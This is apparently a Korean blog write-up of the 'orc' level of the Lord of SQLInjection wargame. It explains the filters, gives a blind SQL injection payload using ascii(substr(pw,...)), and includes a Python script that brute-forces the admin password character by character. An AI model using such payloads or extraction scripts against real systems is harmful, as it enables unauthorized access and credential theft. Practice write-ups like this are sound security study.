Lord of SQLInjection (orc)

✏️ 풀이

문제를 읽어보면 preg_match 함수를 이용해서 특수문자를 필터링하고 있다. 처음 필터링을 통과한 후에는 pw 파라미터에 다시 addslashes 함수를 적용한 후 쿼리를 넣는다. 결과 값의 pw 값이 파라미터에 넣은 pw와 일치하면 solve인 것 같다. 결과의 pw 값과 파라미터의 pw 값이 일치해야 하므로 blind sqli로 admin의 비밀번호를 맞추어야 하는 것 같다.

image-20250421001711903


일단 첫 번째로 preg_match 함수로 필터링하고 있는 특수문자는 아래와 같다.

prob
_
.
(
)


싱글쿼터, 공백, or, 주석 등을 키워드 하지 않아 pw 파라미터에 넣어보면 아래와 같이 Hello admin이 나오는데 이제 아래 부분을 만족시켜야 한다.

image-20250421002705178


addslashes 함수는 특수문자 앞에 \ 문자를 넣어 문자열을 다시 반환하는데, 적용되는 문자는 ', ", \, NULL(Null byte) 이다. 근데 일단 이번 문제에서는 addslashes 함수를 고려하지 않고 preg_match 함수만 보면 blind sqli로 admin의 pw 값을 알아낼 수 있다.


해당 필터링에서는 (와 )가 붙어있는 () 부분에 대해서만 필터링을 고려하므로 아래와 같은 식으로 pw의 값을 substr 함수를 이용해 첫 번째 문자가 ascii 함수로 65가 맞는지 검증하면 된다. 이제 맞는다면 위에 ‘Hello admin’ 까지 나오기 때문에 참 거짓으로 blind sqli가 가능하다.

pw = 'or ASCII(substr(pw,1,1))=65-- -'


아래처럼 파이썬 코드를 작성할 수 있다. 세션 값인 PHPSESSID를 가져와서 request를 해야 오류가 나지 않는다.

import requests

url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php"
session_id = "3amg05ksc6rm4s8dmevhre6hg6"

for pos in range(1, 21):
    found = False
    for i in range(32, 127):
        payload = f"' or ascii(substr(pw,{pos},1))={i}-- -"
        params = {"pw": payload}
        cookies = {"PHPSESSID": session_id}

        res = requests.get(url, params=params, cookies=cookies)

        if "Hello admin" in res.text:
            print(f"[+] {pos}번째 문자: {chr(i)}")
            found = True
            break
    if not found:
        print(f"[-] End")
        break

image-20250421011702859


해당 값을 pw 파라미터에 넣어주면 clear 된 것을 볼 수 있다.

image-20250421011717357

댓글남기기